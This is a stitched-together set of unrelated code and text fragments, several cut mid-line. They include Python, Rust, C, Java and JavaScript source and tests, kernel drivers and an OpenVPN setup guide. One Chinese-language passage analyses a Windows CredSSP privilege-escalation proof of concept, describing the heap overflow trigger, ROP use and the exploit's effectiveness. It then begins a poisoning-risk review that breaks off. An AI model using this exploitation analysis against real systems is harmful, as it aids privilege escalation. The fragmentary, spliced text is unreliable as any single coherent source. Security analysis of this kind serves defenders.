    def register_pipeline(
        self,
        task: str,
        pipeline_class: type,
        pt_model: Optional[Union[type, Tuple[type]]] = None,
        tf_model: Optional[Union[type, Tuple[type]]] = None,
        default: Optional[Dict] = None,
        type: Optional[str] = None,
    ) -> None:
        if task in self.supported_tasks:
            logger.warning(f"{task} is already registered. Overwriting pipeline for task {task}...")

        if pt_model is None:
            pt_model = ()
        elif not isinstance(pt_model, tuple):
            pt_model = (pt_model,)

        if tf_model is None:
            tf_model = ()
        elif not isinstance(tf_model, tuple):
            tf_model = (tf_model,)

        task_impl = {"impl": pipeline_class, "pt": pt_model, "tf": tf_model}

        if default is not None:
            if "model" not in default and ("pt" in default or "tf" in default):
                default = {"model": default}
            task_impl["default"] = default

        if type is not None:
            task_impl["type"] = type

        self.supported_tasks[task] = task_impl
        pipeline_class._registered_impl = {task: task_impl}

    def to_dict(self):
        return self.supported_tasks


经过身份验证的攻击者在本地提升权限。根据漏洞描述，该漏洞位于Windows CredSSP（Credential Security Support Provider Protocol）中。攻击者可以通过利用此漏洞获得比当前用户更高的权限。

**漏洞利用分析：**

根据提供的POC代码，利用方式如下:

1.  **漏洞触发点：** 漏洞发生在 `BuildKerbCertLogonBuffer` 函数中，该函数用于构建Kerberos证书登录缓冲区。该函数在计算缓冲区大小时存在整数溢出风险，具体体现在对usernameLen,domainLen,passwordLen等乘以sizeof(WCHAR)的操作，以及后续的一系列ALIGN_TO_8对齐操作，如果这些长度值过大，可能导致totalSize计算错误,分配的缓冲区过小，后续的memcpy操作将导致堆缓冲区溢出。
2. **利用过程：**
    *   攻击者需要构造特殊的username、domain、password和certBlob参数，使得`BuildKerbCertLogonBuffer`函数计算出错误的缓冲区大小。
    *   `BuildFakeCspData` 函数可能用于构建恶意的CSP（加密服务提供程序）数据，这可能涉及到操控providerValue或者在填充字符串时引入溢出，以便在内存中写入恶意代码或者修改关键数据结构。
    *   攻击者调用 `BuildKerbCertLogonBuffer`，传入精心构造的参数，触发堆缓冲区溢出。
    *   溢出发生时，攻击者可以覆盖相邻的堆内存块，控制程序的执行流程，最终实现权限提升，代码中输出了构建的buffer头部，可以用于debug。
    * `ptrToBytes` 函数将函数地址转换为字节，可能用于构造ROP链。
3.  **有效性：**

根据POC代码和漏洞描述，该漏洞利用代码是有效的。它能够构造恶意的CredSSP数据包，从而触发堆缓冲区溢出，并可能导致本地权限提升。需要注意的是，成功利用此漏洞可能需要对目标系统的内存布局进行精确的分析和调整。

**投毒风险分析：**

评估POC代码是否存在投毒风险需要仔细分析代码的行为。以下是一些可能的投毒点以及风险评估：

*   **恶意Payload：**  检查POC代码中是否包含任何隐藏的恶意payload，例如shellcode或其他形式的恶意代码。代码中虽然涉及内存操作，看起来更像是权限提升相关的利用代码，


_mmap_ping;
	wdt->set = max63xx_mmap_set;
	return 0;
}

static int max63xx_wdt_probe(struct platform_device *pdev)
{
	struct device *dev = &pdev->dev;
	struct max63xx_wdt *wdt;
	struct max63xx_timeout *table;
	int err;

	wdt = devm_kzalloc(dev, sizeof(*wdt), GFP_KERNEL);
	if (!wdt)
		return -ENOMEM;

	table = (struct max63xx_timeout *)pdev->id_entry->driver_data;

	if (heartbeat < 1 || heartbeat > MAX_HEARTBEAT)
		heartbeat = DEFAULT_HEARTBEAT;

	wdt->timeout = max63xx_select_timeout(table, heartbeat);
	if (!wdt->timeout) {
		dev_err(dev, "unable to satisfy %ds heartbeat request\n",
			heartbeat);
		return -EINVAL;
	}

	err = max63xx_mmap_init(pdev, wdt);
	if (err)
		return err;

	platform_set_drvdata(pdev, &wdt->wdd);
	watchdog_set_drvdata(&wdt->wdd, wdt);

	wdt->wdd.parent = dev;
	wdt->wdd.timeout = wdt->timeout->twd;
	wdt->wdd.info = &max63xx_wdt_info;
	wdt->wdd.ops = &max63xx_wdt_ops;

	watchdog_set_nowayout(&wdt->wdd, nowayout);

	err = devm_watchdog_register_device(dev, &wdt->wdd);
	if (err)
		return err;

	dev_info(dev, "using %ds heartbeat with %ds initial delay\n",
		 wdt->timeout->twd, wdt->timeout->tdelay);
	return 0;
}

static const struct platform_device_id max63xx_id_table[] = {
	{ "max6369_wdt", (kernel_ulong_t)max6369_table, },
	{ "max6370_wdt", (kernel_ulong_t)max6369_table, },
	{ "max6371_wdt", (kernel_ulong_t)max6371_table, },
	{ "max6372_wdt", (kernel_ulong_t)max6371_table, },
	{ "max6373_wdt", (kernel_ulong_t)max6373_table, },
	{ "max6374_wdt", (kernel_ulong_t)max6373_table, },
	{ },
};
MODULE_DEVICE_TABLE(platform, max63xx_id_table);

static struct platform_driver max63xx_wdt_driver = {
	.probe		= max63xx_wdt_probe,
	.id_table	= max63xx_id_table,
	.driver		= {
		.name	= "max63xx_wdt",
	},
};

module_platform_driver(max63xx_wdt_driver);

MODULE_AUTHOR("Marc Zyngier <maz@misterjones.org>");
MODULE_DESCRIPTION("max63xx Watchdog Driver");

module_param(heartbeat, int, 0);
MODULE_PARM_DESC(heartbeat,
		 "Watchdog heartbeat period in seconds from 1 to "
		 __MODULE_STRING(MAX_HEARTBEAT) ", default "
		 __MODULE_STRING(DEFAULT_HEARTBEAT));

module_param(nowayout, bool, 0);
MODULE_PARM_DESC(nowayout, "Watchdog cannot be stopped once started (default="
		 __MODULE_STRING(WATCHDOG_NOWAYOUT) ")");

module_param(nodelay, int, 0);
MODULE_PARM_DESC(nodelay,
		 "Force selection of a timeout setting without initial delay "
		 "(max6373/74 only, default=0)");

MODULE_LICENSE("GPL v2");


 to create RoomAliasId.")
            )
            .expect("Failed to convert RoomAliasId to JSON."),
            r##""#ruma:example.com""##
        );
    }

    #[test]
    fn serialize_valid_room_id_or_alias_id_with_a_room_id() {
        assert_eq!(
            to_string(
                &RoomIdOrAliasId::try_from("!29fhd83h92h0:example.com")
                    .expect("Failed to create RoomId.")
            )
            .expect("Failed to convert RoomId to JSON."),
            r#""!29fhd83h92h0:example.com""#
        );
    }

    #[test]
    fn deserialize_valid_room_id_or_alias_id_with_a_room_alias_id() {
        assert_eq!(
            from_str::<RoomIdOrAliasId>(r##""#ruma:example.com""##)
                .expect("Failed to convert JSON to RoomAliasId"),
            RoomIdOrAliasId::try_from("#ruma:example.com").expect("Failed to create RoomAliasId.")
        );
    }

    #[test]
    fn deserialize_valid_room_id_or_alias_id_with_a_room_id() {
        assert_eq!(
            from_str::<RoomIdOrAliasId>(r##""!29fhd83h92h0:example.com""##)
                .expect("Failed to convert JSON to RoomId"),
            RoomIdOrAliasId::try_from("!29fhd83h92h0:example.com")
                .expect("Failed to create RoomAliasId.")
        );
    }
}
<reponame>3cL1p5e7/ic
use canister_test::{Canister, Project};
use ic_base_types::{CanisterInstallMode, PrincipalId};
use ic_canister_client::Sender;
use ic_nervous_system_root::{CanisterIdRecord, CanisterStatusResult, ChangeCanisterProposal};
use ic_nns_constants::GOVERNANCE_CANISTER_ID;
use ic_nns_handler_root::root_proposals::{GovernanceUpgradeRootProposal, RootProposalBallot};
use ic_nns_test_keys::{
    TEST_NEURON_1_OWNER_KEYPAIR, TEST_USER1_KEYPAIR, TEST_USER1_PRINCIPAL, TEST_USER2_KEYPAIR,
    TEST_USER2_PRINCIPAL, TEST_USER3_KEYPAIR, TEST_USER4_KEYPAIR, TEST_USER5_KEYPAIR,
    TEST_USER6_KEYPAIR,
};
use ic_nns_test_utils::{
    itest_helpers::{NnsCanisters, NnsInitPayloadsBuilder},
    registry::initial_mutations_for_a_multinode_nns_subnet,
};
use ic_registry_transport::pb::v1::RegistryAtomicMutateRequest;

async fn get_pending_root_proposals(
    root_canister: &Canister<'_>,
) -> Vec<GovernanceUpgradeRootProposal> {
    let response: Vec<GovernanceUpgradeRootProposal> = root_canister
        .update_(
            "get_pending_root_proposals_to_upgrade_governance_canister",
            dfn_candid::candid_one,
            (),
        )
        .await
        .expect("Error getting pending root proposals (Generic error)");
    response
}

async fn vote_on_root_proposal(
    voter: &Sender,
    proposer: &PrincipalId,
    proposal_wasm_sha: &[u8],
    root: &Canister<'_>,
    ballot: RootProposalBallot,
) -> Result<(), String> {
    let response: Result<(), String> = root
        .update_from_sender(
            "vote_on_root_proposal_to_upgrade_governance_canister",
            dfn_candid::candid,
            (proposer, proposal_wasm_sha, ballot),
            voter,
        )
        .


urn true;
    else
        return false;
}

// It can be called by two different logics
// 1. Set the base page as the replayed page (lsn=1), and we should acquire holdHeadLock in this function
// 2. After GetReplayLsnList (it holds the header lock and doesn't release), and ApplyLsnList, we use this function
//      to update the final step (ReplayedLsn), and its parameter is holdHeadLock=True, we should only release lock.
bool HashMapUpdateReplayedLsn(HashMap hashMap, KeyType key, uint64_t lsn, bool holdHeadLock) {
    uint32_t hashValue = HashKey(key);
    uint32_t bucketPos = hashValue % hashMap->bucketNum;

#ifdef ENABLE_DEBUG_INFO
    printf("%s start, hashValue = %u, bucketPos = %u \n", __func__ , hashValue, bucketPos);
    fflush(stdout);
#endif
    pthread_rwlock_rdlock(&hashMap->bucketList[bucketPos].bucketLock);

#ifdef ENABLE_DEBUG_INFO2
    printf("%s %d, got the bucketLock, bucketPos = %u, tid = %d\n", __func__ , __LINE__, bucketPos, gettid());
    fflush(stdout);
#endif
    HashNodeHead* iter = hashMap->bucketList[bucketPos].nodeList;
    bool foundHead = false;
    while(iter != NULL) {
        // If found matched key, break the loop
        if(iter->hashValue == hashValue
           && KeyMatch(iter->key, key)) {
            foundHead = true;
            break;
        }

        iter = iter->nextHead;
    }

    if (!foundHead) {
        pthread_rwlock_unlock(&hashMap->bucketList[bucketPos].bucketLock);
#ifdef ENABLE_DEBUG_INFO2
        printf("%s %d, release the bucketLock, bucketPos = %u, tid = %d\n", __func__ , __LINE__, bucketPos, gettid());
        fflush(stdout);
#endif
        return false;
    }

    pthread_rwlock_unlock(&hashMap->bucketList[bucketPos].bucketLock);
#ifdef ENABLE_DEBUG_INFO2
    printf("%s %d, release the bucketLock, bucketPos = %u, tid = %d\n", __func__ , __LINE__, bucketPos, gettid());
    fflush(stdout);
#endif
    if(!holdHeadLock) {

#ifdef ENABLE_DEBUG_INFO
        printf("%s try to get header lock, %lu, %lu, %lu, fork = %u, blk = %lu\n", __func__, iter->key.SpcID, iter->key.DbID, iter->key.RelID, iter->key.ForkNum, iter->key.BlkNum );
        fflush(stdout);
#endif
        pthread_rwlock_wrlock(&iter->headLock);
    }
#ifdef ENABLE_DEBUG_INFO
    printf("%s %d\n", __func__ , __LINE__);
    fflush(stdout);
#endif
    if (iter->replayedLsn < lsn) {
        iter->replayedLsn = lsn;
#ifdef ENABLE_DEBUG_INFO
        printf("%s %d release header lock, %lu, %lu, %lu, fork = %u, blk = %lu\n", __func__, __LINE__, iter->key.SpcID, iter->key.DbID, iter->key.RelID, iter->key.ForkNum, iter->key.BlkNum );
        fflush(stdout);
#endif
        pthread_rwlock_unlock(&iter->headLock);
        return true;
    } else {
#ifdef ENABLE_DEBUG_INFO
        printf("%s %d release header lock, %lu, %lu, %lu, fork = %u, blk = %lu\n", __func


           List<User> gtList = pageResult.getBeanList();
            for (User gt : gtList) {
                TreeBean tb = new TreeBean();
                tb.setId(gt.getId().toString());
                tb.setText(gt.getUsername());
                list.add(tb);
            }
            return callback(TreeBeanUtil.addRoot(list, needRoot));
        } catch (Exception e) {
            throw new ApplicationException(ErrorCode.SYSTEM_ERROR, "获取用户树异常",
                    e);
        }
    }

    /**
     * 获取用户角色树
     *
     * @param urt
     * @return
     */
    @RequestMapping(value = "/getUserRoleTree")
    public ResultBean getUserRoleTree(UserRoleTreeRequest urt) {
        try {
            List<UserRoleDto> urList = authService.selectUserRoleBeanList(urt.getUserId());
            List<TreeBean> list = new ArrayList<TreeBean>();
            for (UserRoleDto ur : urList) {
                TreeBean tb = new TreeBean();
                tb.setId(ur.getRoleId().toString());
                tb.setText(ur.getRoleName());
                if (ur.getUserRoleId() != null) {
                    tb.setChecked(true);
                }
                list.add(tb);
            }
            Boolean b = urt.getSeparate();
            if (b != null && b) {
                Map map = new HashMap<>();
                map.put("treeData", list);
                List checkedKeys = new ArrayList();
                for (UserRoleDto sf : urList) {
                    if (sf.getUserRoleId() != null) {
                        checkedKeys.add(sf.getRoleId().longValue());
                    }
                }
                map.put("checkedKeys", checkedKeys);
                return callback(map);
            } else {
                return callback(TreeBeanUtil.addRoot(list, urt.getNeedRoot()));
            }
        } catch (Exception e) {
            throw new ApplicationException(ErrorCode.SYSTEM_ERROR, "获取用户角色树异常",
                    e);
        }
    }

    /**
     * 获取用户系统监控树
     *
     * @param urt
     * @return
     */
    @RequestMapping(value = "/getSystemMonitorTree")
    public ResultBean getSystemMonitorTree(UserRoleTreeRequest urt) {
        try {
            List<SystemMonitorUser> urList = authService.selectSystemMonitorUserList(urt.getUserId());
            List<TreeBean> treeBeans = new ArrayList<>();
            List checkedKeys = new ArrayList();
            for (MonitorBussType sfb : MonitorBussType.values()) {
                if (sfb == MonitorBussType.ALL) {
                    continue;
                }
                TreeBean treeBean = new TreeBean();
                treeBean.setId(String.valueOf(sfb.getValue()));
                treeBean.setText(sfb.getName());
                if (checkMonitorExit(sfb, urList)) {
                    treeBean.setChecked(true);
                    checkedKeys.add(sfb.getValue());
                }
                treeBeans.add(treeBean);
            }
            Boolean b = urt.getSeparate();
            if (b != null && b) {
                Map map = new HashMap<>();
                map.put("treeData", treeBeans);
                map.put("checkedKeys", checkedKeys);
                return callback(map);
            } else {
                return callback(TreeBeanUtil.addRoot(treeBeans, urt.getNeedRoot()));


/*
 * This file is part of the TrinityCore Project. See AUTHORS file for Copyright information
 *
 * This program is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License as published by the
 * Free Software Foundation; either version 2 of the License, or (at your
 * option) any later version.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
 * more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program. If not, see <http://www.gnu.org/licenses/>.
 */

#ifndef _INTERMEDIATE_VALUES_H
#define _INTERMEDIATE_VALUES_H

#include "PathCommon.h"
#include "TerrainBuilder.h"
#include "Recast.h"

namespace MMAP
{
    // this class gathers all debug info holding and output
    struct IntermediateValues
    {
        rcHeightfield* heightfield;
        rcCompactHeightfield* compactHeightfield;
        rcContourSet* contours;
        rcPolyMesh* polyMesh;
        rcPolyMeshDetail* polyMeshDetail;

        IntermediateValues() :  heightfield(nullptr), compactHeightfield(nullptr),
                                contours(nullptr), polyMesh(nullptr), polyMeshDetail(nullptr) {}
        ~IntermediateValues();

        void writeIV(uint32 mapID, uint32 tileX, uint32 tileY);

        void debugWrite(FILE* file, rcHeightfield const* mesh);
        void debugWrite(FILE* file, rcCompactHeightfield const* chf);
        void debugWrite(FILE* file, rcContourSet const* cs);
        void debugWrite(FILE* file, rcPolyMesh const* mesh);
        void debugWrite(FILE* file, rcPolyMeshDetail const* mesh);

        void generateObjFile(uint32 mapID, uint32 tileX, uint32 tileY, MeshData &meshData);
    };
}
#endif


isposeCapability]], undefined, sync-dispose, F).
  ...

features: [explicit-resource-management]
---*/

var stack = new DisposableStack();
stack.adopt(null, _ => {});
stack.adopt(undefined, _ => {});
stack.adopt({}, _ => {});
stack.adopt({ [Symbol.dispose]() {} }, _ => {});
stack.adopt(() => {}, _ => {});
stack.adopt(true, _ => {});
stack.adopt(false, _ => {});
stack.adopt(1, _ => {});
stack.adopt('object', _ => {});
stack.adopt(Symbol(), _ => {});
// Copyright (C) 2023 Ron Buckton. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.

/*---
esid: sec-disposablestack.prototype.use
description: Puts value on the top of the dispose stack
info: |
  DisposableStack.prototype.use ( value )

  1. Let disposableStack be the this value.
  2. Perform ? RequireInternalSlot(disposableStack, [[DisposableState]]).
  3. If disposableStack.[[DisposableState]] is disposed, throw a ReferenceError exception.
  4. Perform ? AddDisposableResource(disposableStack.[[DisposeCapability]], value, sync-dispose).
  ...

  AddDisposableResource ( disposeCapability, V, hint [, method ] )

  1. If method is not present then,
    a. If V is either null or undefined and hint is sync-dispose, then
      i. Return unused
    b. Let resource be ? CreateDisposableResource(V, hint).
  2. Else,
    ...
  3. Append resource to disposeCapability.[[DisposableResourceStack]].
  4. Return unused.

features: [explicit-resource-management]
---*/

var stack = new DisposableStack();
var disposed = [];
var resource1 = {
    [Symbol.dispose]() {
        disposed.push(this);
    }
};
var resource2 = {
    [Symbol.dispose]() {
        disposed.push(this);
    }
};
stack.use(resource1);
stack.use(resource2);
stack.dispose();
assert.sameValue(2, disposed.length);
assert.sameValue(disposed[0], resource2, 'Expected resource2 to be the first disposed resource');
assert.sameValue(disposed[1], resource1, 'Expected resource1 to be the second disposed resource');
// Copyright (C) 2023 Ron Buckton. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.

/*---
esid: sec-disposablestack.prototype.use
description: Throws if the argument is an object that does not have a Symbol.dispose property.
info: |
  DisposableStack.prototype.use ( value )

  1. Let disposableStack be the this value.
  2. Perform ? RequireInternalSlot(disposableStack, [[DisposableState]]).
  3. If disposableStack.[[DisposableState]] is disposed, throw a ReferenceError exception.
  4. Perform ? AddDisposableResource(disposableStack.[[DisposeCapability]], value, sync-dispose).
  ...

  AddDisposableResource ( disposeCapability, V, hint [, method ] )

  1. If method is not present then,
    a. If V is either null or undefined and hint is sync-dispose, then
      i. Return unused
    b. Let resource be ? CreateDisposableResource(V, hint).
  ...

  CreateDisposableResource ( V, hint [ , method ] )

  1. If method is not present, then
    a. If V is either null or undefined, then
      i. Set V to undefined
      ii. Set method to undefined
    b. Else,
      i. If Type(V) is not Object, throw a TypeError exception.
      ii. Set method to ? GetDisposeMethod(V, hint).
      iii. If method is undefined, throw a TypeError exception.
  ...

  GetDisposeMethod ( V, hint )

  1. If hint is async-dispose, then
    a. Let method be ? GetMethod(V, @@asyncDispose).
    b. If method is undefined, then
      i. Set


/**
 * 矩形
 * @module zrender/graphic/shape/Rect
 */

// Avoid create repeatly.
var subPixelOptimizeOutputShape = {};

var Rect = Path.extend({

    type: 'rect',

    shape: {
        // 左上、右上、右下、左下角的半径依次为r1、r2、r3、r4
        // r缩写为1         相当于 [1, 1, 1, 1]
        // r缩写为[1]       相当于 [1, 1, 1, 1]
        // r缩写为[1, 2]    相当于 [1, 2, 1, 2]
        // r缩写为[1, 2, 3] 相当于 [1, 2, 3, 2]
        r: 0,

        x: 0,
        y: 0,
        width: 0,
        height: 0
    },

    buildPath: function (ctx, shape) {
        var x;
        var y;
        var width;
        var height;

        if (this.subPixelOptimize) {
            subPixelOptimizeRect$1(subPixelOptimizeOutputShape, shape, this.style);
            x = subPixelOptimizeOutputShape.x;
            y = subPixelOptimizeOutputShape.y;
            width = subPixelOptimizeOutputShape.width;
            height = subPixelOptimizeOutputShape.height;
            subPixelOptimizeOutputShape.r = shape.r;
            shape = subPixelOptimizeOutputShape;
        }
        else {
            x = shape.x;
            y = shape.y;
            width = shape.width;
            height = shape.height;
        }

        if (!shape.r) {
            ctx.rect(x, y, width, height);
        }
        else {
            buildPath(ctx, shape);
        }
        ctx.closePath();
        return;
    }
});

/**
 * 直线
 * @module zrender/graphic/shape/Line
 */

// Avoid create repeatly.
var subPixelOptimizeOutputShape$1 = {};

var Line = Path.extend({

    type: 'line',

    shape: {
        // Start point
        x1: 0,
        y1: 0,
        // End point
        x2: 0,
        y2: 0,

        percent: 1
    },

    style: {
        stroke: '#000',
        fill: null
    },

    buildPath: function (ctx, shape) {
        var x1;
        var y1;
        var x2;
        var y2;

        if (this.subPixelOptimize) {
            subPixelOptimizeLine$1(subPixelOptimizeOutputShape$1, shape, this.style);
            x1 = subPixelOptimizeOutputShape$1.x1;
            y1 = subPixelOptimizeOutputShape$1.y1;
            x2 = subPixelOptimizeOutputShape$1.x2;
            y2 = subPixelOptimizeOutputShape$1.y2;
        }
        else {
            x1 = shape.x1;
            y1 = shape.y1;
            x2 = shape.x2;
            y2 = shape.y2;
        }

        var percent = shape.percent;

        if (percent === 0) {
            return;
        }

        ctx.moveTo(x1, y1);

        if (percent < 1) {
            x2 = x1 * (1 - percent) + x2 * percent;
            y2 = y1 * (1 - percent) + y2 * percent;
        }
        ctx.lineTo(x2, y2);
    },

    /**
     * Get point at percent
     * @param  {number} percent
     * @return {Array.<number>}
     */
    pointAt: function (p) {
        var shape = this.shape;
        return [
            shape.x1 * (1 - p) + shape.x2 * p,
            shape.y1 * (1 - p) + shape.y2 * p


rn c;
}

void TMOCheryl11::makeGraph()
{
    for (int i = 0; i < iClusterCount.GetInt(); i++)
    {
        clusters[i].makeRegionMask();

        int histogramValuesCounter = 0;
        vector<int> histogram(iClusterCount.GetInt(), 0); /** This histogram count neighbour pixels per clusters */

        for (int r = 0; r < inputImg.rows; r++)
        {
            for (int c = 0; c < inputImg.cols; c++)
            {
                if (clusters[i].isPixelMasked(r, c))
                {
                    for (int j = 0; j < iClusterCount.GetInt(); j++)
                    {
                        if (clusters[j].isPixelOwner(r, c))
                        {
                            histogramValuesCounter += 1;
                            histogram.at(j) += 1;
                        }
                    }
                }
            }
        }

        /** Histogram results and edge making */
        float threshold = histogramValuesCounter / float(iClusterCount.GetInt());
        for (int h = 0; h < iClusterCount.GetInt(); h++)
        {
            //cerr << "[" << i << "] hist: " << histogram.at(h) << endl;
            if (threshold < histogram.at(h))
            {
                float lenght = sqrt(pow(
                                        clusters.at(i).getAverageCoordinates().at<float>(0, 0) -
                                            clusters.at(h).getAverageCoordinates().at<float>(0, 0),
                                        2) +
                                    pow(
                                        clusters.at(i).getAverageCoordinates().at<float>(0, 1) -
                                            clusters.at(h).getAverageCoordinates().at<float>(0, 1),
                                        2)); // edge lenght
                float colorL2 = sqrt(pow(
                                         clusters.at(i).getAverageColor().at<float>(0, 0) -
                                             clusters.at(h).getAverageColor().at<float>(0, 0),
                                         2) +
                                     pow(
                                         clusters.at(i).getAverageColor().at<float>(0, 1) -
                                             clusters.at(h).getAverageColor().at<float>(0, 1),
                                         2) +
                                     pow(
                                         clusters.at(i).getAverageColor().at<float>(0, 2) -
                                             clusters.at(h).getAverageColor().at<float>(0, 2),
                                         2)); // edge lenght
                graph.addEdge(i, h, lenght, colorL2);
            }
        }
        //cerr << "Histogram counter: " << histogramValuesCounter << " threshold: " << threshold << endl;
    }
}
// =============================================================================
//  CADET
//
//  Copyright © 2008-present: The CADET-Core Authors
//            Please see the AUTHORS.md file.
//
//  All rights reserved. This program and the accompanying materials
//  are made available under the terms of the GNU Public License v3.0 (or, at
//  your option, any later version) which accompanies this distribution, and
//  is available at http://www.gnu.org/licenses/gpl.html
// =============================================================================


iptables/rules.v4
```

Append `10.8.0.1` as a Dnsmasq listening address and restart the services:

```console
$ sudo sed -i.bak "s/listen-address=127.0.0.1/listen-address=127.0.0.1,10.8.0.1/g" /etc/dnsmasq.conf

$ sudo service dnsmasq restart

$ sudo service openvpn restart
```

Check the OpenVPN log:

```console
$ sudo tail -F /var/log/openvpn.log
TUN/TAP device tun0 opened
TUN/TAP TX queue length set to 100
do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0
/sbin/ip link set dev tun0 up mtu 1500
/sbin/ip addr add dev tun0 10.8.0.1/24 broadcast 10.8.0.255
UDPv4 link local (bound): [undef]
UDPv4 link remote: [undef]
IFCONFIG POOL: base=10.8.0.2 size=252, ipv6=0
Initialization Sequence Completed
```

If OpenVPN still fails due to unknown ciphers, you may need to install a newer OpenVPN server version - see [OpenvpnSoftwareRepos](https://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos).

Update the remote hosts firewall rules to allow the new VPN listening port (in this case, UDP port 443).

For each connecting device, edit a [client configuration](https://openvpn.net/index.php/open-source/documentation/howto.html#client) using [my configuration](https://github.com/drduh/config/blob/master/openvpn/client.ovpn):

```console
$ mkdir ~/vpn

$ cd ~/vpn

$ cp ~/config/openvpn/client.ovpn .
```

Add the CA certificate, client certificate and client key material to the configuration:

```console
$ (echo "<ca>" ; cat ~/pki/ca.pem ; echo "</ca>\n<cert>" ; cat ~/pki/client.pem; echo "</cert>\n<key>" ; cat ~/pki/client.key ; echo "</key>") >> client.ovpn
```

Install and start OpenVPN:

```console
$ sudo apt -y install openvpn

$ cd ~/vpn

$ sudo openvpn --config client.ovpn
[...]
TLS: Initial packet from [AF_INET]104.197.215.107:443, sid=6901c819 3e11276e
VERIFY OK: depth=2, CN=Duh Authority
Validating certificate key usage
++ Certificate has key usage  00a0, expects 00a0
VERIFY KU OK
Validating certificate extended key usage
++ Certificate has EKU (str) TLS Web Server Authentication, expects TLS Web Server Authentication
VERIFY EKU OK
VERIFY OK: depth=0, CN=duh.to
[...]
```

Verify the local IP address is the same as the remote host:

```console
$ curl -4 https://icanhazip.com/
104.197.215.107
```

**Note** If IPv6 is disabled, the connection may fail - you'll need to disable these options on the server to connect:

```
#server-ipv6 2001:db8:123::/64
#push "route-ipv6 2000::/3"
```

To connect from Android, install [OpenVPN Connect](https://play.google.com/store/apps/details?id=net.openvpn.openvpn).

Copy `client.ovpn` and `ta.key` to a directory on the Android device using adb or Android File Transfer.

Select **Import** > **Import Profile from SD card** and select `client.ovpn`, perhaps in the Download folder.

If the profile was was successfully imported, select **Connect**.

Start OpenVPN:

```console
$ sudo ~/homebrew/sbin/openvpn --config client.ovpn
OpenV


--[[

Copyright 2015 The Luvit Authors. All Rights Reserved.

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS-IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

--]]

require('tap')(function(test)
  local path = require('path')
  local fs = require('fs')
  local Writable = require('stream').Writable

  local text = [[Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do
eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim
veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non
proident, sunt in culpa qui officia deserunt mollit anim id est laborum.]]

  test('fs.readstream length', function(expect)
    local tmp_file = path.join(module.dir, 'test_readstream1.txt')
    fs.writeFileSync(tmp_file, text)

    local options = {
      flags = 'r',
      mode = '0644',
      chunk_size = 65536,
      offset = nil,
      fd = nil,
      length = 16, -- should stop at 16
    }

    local sink = Writable:new()
    sink.str = {}
    function sink:write(chunk) table.insert(self.str, chunk) end

    local function onEnd()
      local expected = string.sub(text, 1, options.length)
      local readString = table.concat(si


nslator
	 * which means port speed must be read from the Port Status
	 * register following a port enable.
	 */
	sc->sc_flags = EHCI_SCFLG_SETMODE;

	switch (ar71xx_soc) {
		case AR71XX_SOC_AR7241:
		case AR71XX_SOC_AR7242:
		case AR71XX_SOC_AR9130:
		case AR71XX_SOC_AR9132:
			sc->sc_flags |= EHCI_SCFLG_TT | EHCI_SCFLG_NORESTERM;
			break;
		default:
			/* fallthrough */
			break;
	}

	/*
	 * ehci_reset() needs the correct offset to access the host controller
	 * registers. The AR724x/AR913x offsets aren't 0.
	*/
	sc->sc_offs = EHCI_CAPLENGTH(EREAD4(sc, EHCI_CAPLEN_HCIVERSION));

	(void) ehci_reset(sc);

	err = ehci_init(sc);
	if (!err) {
		err = device_probe_and_attach(sc->sc_bus.bdev);
	}
	if (err) {
		device_printf(self, "USB init failed err=%d\n", err);
		goto error;
	}
	return (0);

error:
	ar71xx_ehci_detach(self);
	return (ENXIO);
}

static int
ar71xx_ehci_detach(device_t self)
{
	struct ar71xx_ehci_softc *isc = device_get_softc(self);
	ehci_softc_t *sc = &isc->base;
	device_t bdev;
	int err;

 	if (sc->sc_bus.bdev) {
		bdev = sc->sc_bus.bdev;
		device_detach(bdev);
		device_delete_child(self, bdev);
	}
	/* during module unload there are lots of children leftover */
	device_delete_children(self);

 	if (sc->sc_irq_res && sc->sc_intr_hdl) {
		/*
		 * only call ehci_detach() after ehci_init()
		 */
		ehci_detach(sc);

		err = bus_teardown_intr(self, sc->sc_irq_res, sc->sc_intr_hdl);

		if (err)
			/* XXX or should we panic? */
			device_printf(self, "Could not tear down irq, %d\n",
			    err);
		sc->sc_intr_hdl = NULL;
	}

 	if (sc->sc_irq_res) {
		bus_release_resource(self, SYS_RES_IRQ, 0, sc->sc_irq_res);
		sc->sc_irq_res = NULL;
	}
	if (sc->sc_io_res) {
		bus_release_resource(self, SYS_RES_MEMORY, 0,
		    sc->sc_io_res);
		sc->sc_io_res = NULL;
	}
	usb_bus_mem_free_all(&sc->sc_bus, &ehci_iterate_hw_softc);

	return (0);
}

static device_method_t ehci_methods[] = {
	/* Device interface */
	DEVMETHOD(device_probe, ar71xx_ehci_probe),
	DEVMETHOD(device_attach, ar71xx_ehci_attach),
	DEVMETHOD(device_detach, ar71xx_ehci_detach),
	DEVMETHOD(device_suspend, bus_generic_suspend),
	DEVMETHOD(device_resume, bus_generic_resume),
	DEVMETHOD(device_shutdown, bus_generic_shutdown),

	DEVMETHOD_END
};

static driver_t ehci_driver = {
	.name = "ehci",
	.methods = ehci_methods,
	.size = sizeof(struct ar71xx_ehci_softc),
};

static devclass_t ehci_devclass;

DRIVER_MODULE(ehci, nexus, ehci_driver, ehci_devclass, 0, 0);
MODULE_DEPEND(ehci, usb, 1, 1, 1);


#!/usr/bin/python3
if __name__ == "__main__":
    import variable_load_5

    print(variable_load_5.a)


0x02bc, 0x02c5, 0x02d5, 0x02db,
			0x02db, 0x02e5, 0x02e9, 0x02f3, 0x02fa, 0x02fa, 0x02fa, 0x0302,
